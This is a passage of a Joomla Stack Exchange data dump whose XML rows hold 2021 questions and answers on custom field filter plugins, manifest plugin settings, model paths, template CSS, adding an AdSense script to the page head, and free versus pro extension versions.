sufficient.&lt;/p&gt;&#xA;&lt;p&gt;Here is my source of my plugin: plg_fields_fb&#xA;fb.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;plugin&amp;quot; version=&amp;quot;3.7.0&amp;quot; group=&amp;quot;fields&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_fields_fb&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;Joomla! Project&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;November 2005&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2005 - 2013 Open Source Matters. All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;admin@joomla.org&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;www.joomla.org&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;3.1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;PLG_FIELDS_FB_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;fb&amp;quot;&amp;gt;fb.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;fb.xml&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;params&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;rules&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;languages&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB.plg_fields_fb.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB.plg_fields_fb.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;filter&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL&amp;quot;&#xA;                    description=&amp;quot;PLG_FIELDS_TEXT_PARAMS_FILTER_DESC&amp;quot;&#xA;                    class=&amp;quot;btn-group&amp;quot;&#xA;                    default=&amp;quot;JComponentHelper::filterText&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;raw&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_RAW&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;safehtml&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_SAFEHTML&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;JComponentHelper::filterText&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_TEXT&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;alnum&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_ALNUM&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;integer&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_INTEGER&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;float&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_FLOAT&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;tel&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_TEL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;fb&amp;quot;&amp;gt;MY CUSTOM FILTER OPTION&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;maxlength&amp;quot;&#xA;                    type=&amp;quot;number&amp;quot;&#xA;                    label=&amp;quot;PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_LABEL&amp;quot;&#xA;                    description=&amp;quot;PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_DESC&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                /&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;fb.php - (Standard stuff here copied from the text custom field plugin.)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Plugin&#xA; * @subpackage  Fields.Text&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);&#xA;&#xA;/**&#xA; * Fields Text Plugin&#xA; *&#xA; * @since  3.7.0&#xA; */&#xA;class PlgFieldsFb extends FieldsPlugin&#xA;{&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;/tmpl/fb.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Plugin&#xA; * @subpackage  Fields.Text&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;$value = $field-&amp;gt;value;&#xA;&#xA;if ($value == '')&#xA;{&#xA;    return;&#xA;}&#xA;&#xA;if (is_array($value))&#xA;{&#xA;    $value = implode(', ', $value);&#xA;}&#xA;&#xA;echo htmlentities($value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;/params/fb.php - (Standard stuff here copied from the text custom field plugin, but I try to load a addrule path thinking that perhaps this how I can add my filter but I'm thinking this is wrong for what I'm trying to do.)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&#xA;addrulepath=&amp;quot;/plugins/fields/fb/rules/fb.php&amp;quot;&#xA;&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;fieldparams&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;fieldparams&amp;quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&amp;quot;filter&amp;quot;&#xA;                type=&amp;quot;list&amp;quot;&#xA;                label=&amp;quot;PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL&amp;quot;&#xA;                description=&amp;quot;PLG_FIELDS_TEXT_PARAMS_FILTER_DESC&amp;quot;&#xA;                class=&amp;quot;btn-group&amp;quot;&#xA;                validate=&amp;quot;options&amp;quot;&#xA;                &amp;gt;&#xA;                &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;COM_FIELDS_FIELD_USE_GLOBAL&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;raw&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_RAW&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;safehtml&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_SAFEHTML&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;JComponentHelper::filterText&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_TEXT&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;alnum&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_ALNUM&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;integer&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_INTEGER&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;float&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_FLOAT&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;tel&amp;quot;&amp;gt;JLIB_FILTER_PARAMS_TEL&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;fb&amp;quot;&amp;gt;MY CUSTOM FILTER OPTION&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;&#xA;            &amp;lt;field&#xA;                name=&amp;quot;maxlength&amp;quot;&#xA;                type=&amp;quot;number&amp;quot;&#xA;                label=&amp;quot;PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_LABEL&amp;quot;&#xA;                description=&amp;quot;PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_DESC&amp;quot;&#xA;                filter=&amp;quot;integer&amp;quot;&#xA;            /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;/rules/fb.php (Here is where I'm thinking that trying to add the rule might be the way? I think this is wrong, I want to add a Filter.. I don't think a rule is what I need.?)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA;* @version        $Id: mobile.php 20196 2011-01-09 02:40:25Z ian $&#xA;* @package        Joomla.Framework&#xA;* @subpackage     Form&#xA;*/&#xA;&#xA;defined('JPATH_BASE') or die;&#xA;&#xA;jimport('joomla.form.formrule');&#xA;&#xA;/**&#xA;* Form Rule class for the Joomla Framework.&#xA;*&#xA;* @package        Joomla.Framework&#xA;* @since          1.6&#xA;*/&#xA;class JFormRuleFb extends JFormRule&#xA;{&#xA;    /**&#xA;    * Method to test the username for uniqueness.&#xA;    *&#xA;    * @param    object    $element    The JXMLElement object representing the &amp;lt;field /&amp;gt; tag for the&#xA;    *                                 form field object.&#xA;    * @param    mixed     $value      The form field value to validate.&#xA;    * @param    string    $group      The field name group control value. This acts as as an array&#xA;    *                                 container for the field. For example if the field has name=&amp;quot;foo&amp;quot;&#xA;    *                                 and the group value is set to &amp;quot;bar&amp;quot; then the full field name&#xA;    *                                 would end up being &amp;quot;bar[foo]&amp;quot;.&#xA;    * @param    object    $input      An optional JRegistry object with the entire data set to validate&#xA;    *                                 against the entire form.&#xA;    * @param    object    $form       The form object for which the field is being tested.&#xA;    *&#xA;    * @return   boolean               True if the value is valid, false otherwise.&#xA;    * @since    1.6&#xA;    * @throws   JException on invalid rule.&#xA;    */&#xA;    public function test(&amp;amp; $element, $value, $group = null, &amp;amp; $input = null, &amp;amp; $form = null)&#xA;    {&#xA;        /* &#xA;         * Here we match the value with a specific format. You may also use any kind of validation,&#xA;         * If you need a value of another field as well from the same form then use the following method:&#xA;         * $userId = ($input instanceof JRegistry) ? $input-&amp;gt;get('id') : '0';&#xA;         * this gived you the value of the Id field&#xA;         */&#xA;        return preg_match(&amp;quot;/^\+{0,1}[0-9]{6,14}$/&amp;quot;,$value);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any suggestions on how to extend or add a custom &amp;quot;Filter&amp;quot; option to my Custom Field plugin or extend the Text Custom Field plugin to accept a &amp;quot;Custom&amp;quot; &amp;quot;Filter&amp;quot; type that I can customize even hard coded. I attached a screenshot of the custom field screen and the &amp;quot;Filter&amp;quot; options I'm referring to.&lt;a href=&quot;https://i.stack.imgur.com/KfkUi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KfkUi.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt; Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6973" LastActivityDate="2021-05-26T20:48:31.610" Title="How to create custom filter type option for a custom field to extend the custom fields in Joomla?" Tags="|plugin|custom-field|joomla-3.7|filter|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29225" PostTypeId="1" CreationDate="2021-05-26T21:58:58.887" Score="1" ViewCount="128" Body="&lt;p&gt;I have written a component and it installs fine except that the plugins are all installing as enabled.&lt;/p&gt;&#xA;&lt;p&gt;What I want to do is enable some and disable others.  Here is what I have tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;plugins folder=&amp;quot;plugins&amp;quot;&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;com_softmedia&amp;quot; group=&amp;quot;xmap&amp;quot; enable=&amp;quot;true&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;softmedia&amp;quot; group=&amp;quot;search&amp;quot; enable=&amp;quot;true&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;softmedia&amp;quot; group=&amp;quot;finder&amp;quot; enable=&amp;quot;true&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;paypal&amp;quot; group=&amp;quot;softmedia&amp;quot; enable=&amp;quot;false&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;skrill&amp;quot; group=&amp;quot;softmedia&amp;quot; enable=&amp;quot;false&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;2checkout&amp;quot; group=&amp;quot;softmedia&amp;quot; enable=&amp;quot;false&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;stripe&amp;quot; group=&amp;quot;softmedia&amp;quot; enable=&amp;quot;false&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;quickpay&amp;quot; group=&amp;quot;softmedia&amp;quot; enable=&amp;quot;false&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;addthis&amp;quot; group=&amp;quot;softmedia&amp;quot; enable=&amp;quot;false&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;joomla&amp;quot; group=&amp;quot;softmedia&amp;quot; enable=&amp;quot;true&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;liketodownload&amp;quot; group=&amp;quot;softmedia&amp;quot; enable=&amp;quot;false&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;euvat&amp;quot; group=&amp;quot;softmedia&amp;quot; enable=&amp;quot;false&amp;quot; /&amp;gt;&#xA;    &amp;lt;plugin name=&amp;quot;dlejproducts_update_helper&amp;quot; group=&amp;quot;system&amp;quot; enable=&amp;quot;true&amp;quot; /&amp;gt;&#xA;&amp;lt;/plugins&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have seen this done as &amp;quot;enable and activate&amp;quot;, but neither of these will work for me.&lt;/p&gt;&#xA;" OwnerUserId="15320" LastEditorUserId="15320" LastEditDate="2021-05-27T14:39:47.933" LastActivityDate="2021-05-27T14:41:25.543" Title="How to enable or disable plugins from manifest file?" Tags="|joomla-3.x|plugin|installation|xml|manifest|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29226" PostTypeId="2" ParentId="29222" CreationDate="2021-05-27T04:42:17.707" Score="2" Body="&lt;p&gt;My approach would be to update your code to move away from JModelLegacy and by placing the &lt;code&gt;addIncludePath&lt;/code&gt; in the subcontroller using the following lines.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;mycomponent/controller/messages.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Use Joomla\CMS\MVC\Model\BaseDatabaseModel;&#xA;.    .    .&#xA;BaseDatabaseModel::addIncludePath(JPATH_SITE . '/components/com_mycomponent/models');&#xA;$this-&amp;gt;msgsModel = BaseDatabaseModel::getInstance('Messages', 'MyModel');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Alternatively you can use &lt;code&gt;$this-&amp;gt;addModelPath&lt;/code&gt; from the BaseController class that your controller may already extend, which issues the above addIncludePath statement, see &lt;code&gt;/libraries/src/MVC/Controller/BaseController&lt;/code&gt; at line 143. However the &lt;code&gt;addIncludePath&lt;/code&gt; statement may not actually be required if the model directory is already in the path of your component.&lt;/p&gt;&#xA;&lt;p&gt;By setting the &lt;code&gt;$this-&amp;gt;msgsModel&lt;/code&gt; in the subcontroller you should be able to call the model in the sub controller, another Model, a Helper, other code file or View(although probably not recommended under MVC rules) easily.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//call model method&#xA;$this-&amp;gt;messages = $this-&amp;gt;msgsModel-&amp;gt;getData();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The View should only access &lt;code&gt;$this-&amp;gt;messages&lt;/code&gt; to get the data as it should not be concerned with how or where &lt;code&gt;$this-&amp;gt;messages&lt;/code&gt; is created.&lt;/p&gt;&#xA;&lt;p&gt;Ignoring the comment about FooModelBar I would say you need to create a file called &lt;code&gt;/component/com_mycomponent/models/messages.php&lt;/code&gt; with a class name of &lt;code&gt;MyModelMessages&lt;/code&gt; to hold the code of your Model. Because you aren't following the Joomla naming convention so that it can be automagically resolved, you can use whatever replacement you choose for &lt;code&gt;MyModel&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13472" LastEditDate="2021-05-27T11:50:06.400" LastActivityDate="2021-05-27T11:50:06.400" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29227" PostTypeId="2" ParentId="29225" CreationDate="2021-05-27T14:41:25.543" Score="2" Body="&lt;p&gt;In order for this to work properly you would use enable=&amp;quot;true&amp;quot; to enable the plugin and disable=&amp;quot;true&amp;quot; to disable the plugin.&lt;/p&gt;&#xA;" OwnerUserId="15320" LastActivityDate="2021-05-27T14:41:25.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29228" PostTypeId="2" ParentId="29038" CreationDate="2021-05-27T21:04:55.903" Score="2" Body="&lt;p&gt;Create a custom class i.e. &lt;em&gt;.alt-image&lt;/em&gt; and define the CSS in your template as follows&lt;br/&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.alt-image .article-intro-image img {border-radius: 10px !important}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then you simply add your class in the menu item editor, page display tab in the &amp;quot;Page Class&amp;quot; field.&lt;br/&gt;&lt;br/&gt;&#xA;This will add the class to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag of the item.&lt;br/&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0hPmw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0hPmw.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15321" LastEditorUserId="15321" LastEditDate="2021-05-28T11:38:48.123" LastActivityDate="2021-05-28T11:38:48.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29229" PostTypeId="2" ParentId="29199" CreationDate="2021-05-28T17:04:31.107" Score="1" Body="&lt;p&gt;I decided to skip the getListQuery and moved the code into a custom function and decided to use that to get my items. I couldn't get it to work with the getListQuery, and although it's cleaner code to use the standard methods of Joomla and overriding them, this worked for me a lot better, without headaches.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getProfiles()&#xA;{&#xA;    &#xA;    $user = Factory::getUser();&#xA;    $db = $this-&amp;gt;getDbo();&#xA;    $query = $db&#xA;        -&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('*')&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__table_profile'))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('user_id') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote($user-&amp;gt;id));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadAssoc();&#xA;&#xA;    //no user profile available, return false&#xA;    if(!$result) return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my view.html.php I use this line of code to get all the profiles:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;profiles = $this-&amp;gt;get('Profiles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in my template I check if the profiles exists, and show code based on that value.&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2021-05-28T17:04:31.107" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29230" PostTypeId="1" AcceptedAnswerId="29231" CreationDate="2021-05-29T10:45:19.077" Score="1" ViewCount="3082" Body="&lt;p&gt;A question from a complete Joomla noob, so bear with me:)&lt;/p&gt;&#xA;&lt;p&gt;I am trying to add a piece of JavaScript code (the Adsense Auto Ads code) to the header files of a Joomla website, but my approaches seem to be suboptimal (at least ;) !).&lt;/p&gt;&#xA;&lt;p&gt;The approaches I could come up with were:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Visit every page and manually add the code (very time consuming)&lt;/li&gt;&#xA;&lt;li&gt;Paste the code somewhere in the template file...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I really do not have a thorough understanding of Joomla (or web dev in general), so I thought there should be easier/better solutions for this.&lt;/p&gt;&#xA;&lt;p&gt;So, the question: How do I add Adsense Auto Ads (Javascript) code to the header of pages in a Joomla website?&lt;/p&gt;&#xA;" OwnerUserId="15331" LastActivityDate="2021-05-30T07:25:31.137" Title="How to add a piece of JavaScript code to the header?" Tags="|joomla-3.x|javascript|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29231" PostTypeId="2" ParentId="29230" CreationDate="2021-05-29T11:35:00.913" Score="3" Body="&lt;p&gt;Find your templates index.php file: [httpdocs]&lt;strong&gt;/templates/&lt;/strong&gt;[YOURTEMPLATE]/index.php&lt;/p&gt;&#xA;&lt;p&gt;In the index.php file, find the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag and add your snippet there using &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags.&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;script async src=&amp;quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;(adsbygoogle=window.adsbygoogle||[]).requestNonPersonalizedAds=1;&#xA;(adsbygoogle=window.adsbygoogle||[]).push({google_ad_client: &amp;quot;ca-pubxxx&amp;quot;, enable_page_level_ads: true});&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://docs.joomla.org/Adding_JavaScript&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Adding_JavaScript&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Most of the templates also offer the opportunity to add scripts via their settings,&lt;/strong&gt; which is important for GoogleAnalytics etc.&lt;/p&gt;&#xA;" OwnerUserId="15321" LastActivityDate="2021-05-29T11:35:00.913" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29232" PostTypeId="2" ParentId="29230" CreationDate="2021-05-30T07:25:31.137" Score="3" Body="&lt;p&gt;In addition to the good answer by @Guitarman that specifically explains how to add script to the header in a single website's template, which is what the OP is asking for, there are other approaches that might be more suitable if you change templates often or want to handle more websites.&lt;/p&gt;&#xA;&lt;p&gt;There are a number of extensions, mostly plugins, in the JED that can do this for you as well that would work across templates. A quick look in &lt;a href=&quot;https://extensions.joomla.org/category/core-enhancements/coding-a-scripts-integration/?start=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/category/core-enhancements/coding-a-scripts-integration/?start=0&lt;/a&gt; I can see the HeadTag plugin by MichaelRichley gets 5 star reviews but there are others on subsequent pages.&lt;/p&gt;&#xA;&lt;p&gt;JoomlaShack have written this article on how to use another plugin in the JED to add JS, &lt;a href=&quot;https://www.joomlashack.com/blog/joomla/custom-js/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/joomla/custom-js/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-05-30T07:25:31.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29233" PostTypeId="1" CreationDate="2021-06-01T10:09:36.783" Score="0" ViewCount="65" Body="&lt;p&gt;I am new to Joomla and received a half-done component. It is a mostly database-dependent component. The component consists of a SQL file that inserts all the data and is able to display it. I am trying to build the function to insert into database on click. In the model, I have created a function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function addDefault(){&#xA;    $db = JFactory::getDbo();&#xA;    $insert = $db-&amp;gt;getQuery(true);&#xA;    $columns = array(`code`);&#xA;    $values = array(`1`);&#xA;    $insert&#xA;        -&amp;gt;insert($db-&amp;gt;quoteName('#__mc_masterclass'))&#xA;        -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;        -&amp;gt;values(implode(',', $values));&#xA;    return $db-&amp;gt;setQuery($insert)-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And now I am trying to fire it from view:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;button onclick=&amp;quot;addDefault()&amp;quot;&amp;gt;SAVE&amp;lt;button&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am not sure if I need to build something in the controller folder as well.&lt;/p&gt;&#xA;&lt;p&gt;The function is very basic and simple just to get connection between the page and database.&lt;/p&gt;&#xA;" OwnerUserId="15339" LastEditorUserId="12352" LastEditDate="2021-06-01T22:41:09.350" LastActivityDate="2024-02-17T14:08:20.953" Title="Run model function in view file to insert default value into sql" Tags="|component|mysql|view|model|controller|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29234" PostTypeId="1" AcceptedAnswerId="29235" CreationDate="2021-06-01T12:04:32.353" Score="1" ViewCount="45" Body="&lt;p&gt;Our company is wanting to deploy a pro and free version of our extension onto JED. Is there any way that I can prevent people with the free version from hacking to get the pro version? I would like to not have to develop separate pro and free versions.&lt;/p&gt;&#xA;&lt;p&gt;We have thought of enforcing restrictions by using two different backend forms for the pro and free versions. We are using the &lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot; rel=&quot;nofollow noreferrer&quot;&gt;standard Joomla form fields&lt;/a&gt; to create the backend form. This method will be simple to do and would do the trick in our case. But it does not stop people from changing certain field settings to give them pro features.&lt;/p&gt;&#xA;&lt;p&gt;I realise that this is an opinion-based question, but I have not been able to find out anything by searching and I am not sure where else to post this.&lt;/p&gt;&#xA;&lt;p&gt;If someone could just point me in the right direction that would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8142" LastActivityDate="2021-06-01T14:43:03.217" Title="Restrict access to your paid extension" Tags="|joomla-3.x|development|extensions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29235" PostTypeId="2" ParentId="29234" CreationDate="2021-06-01T14:43:03.217" Score="1" Body="&lt;p&gt;No, you cannot prevent people from changing your code. When you release your Joomla extension under the GPL license, your users are allowed to study/modify your code.&lt;/p&gt;&#xA;&lt;p&gt;An approach that you could consider is to create a Pro version. To create a Free version, just use the same code but overwrite some code with some other code that has limited functionality.&lt;/p&gt;&#xA;&lt;p&gt;I use that approach for one of my commercial extensions. I've automated the package creation using &lt;a href=&quot;https://robo.li/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://robo.li/&lt;/a&gt; (a task runner for PHP). It creates multiple packages (a free + pro) at the same time.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-06-01T14:43:03.217" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
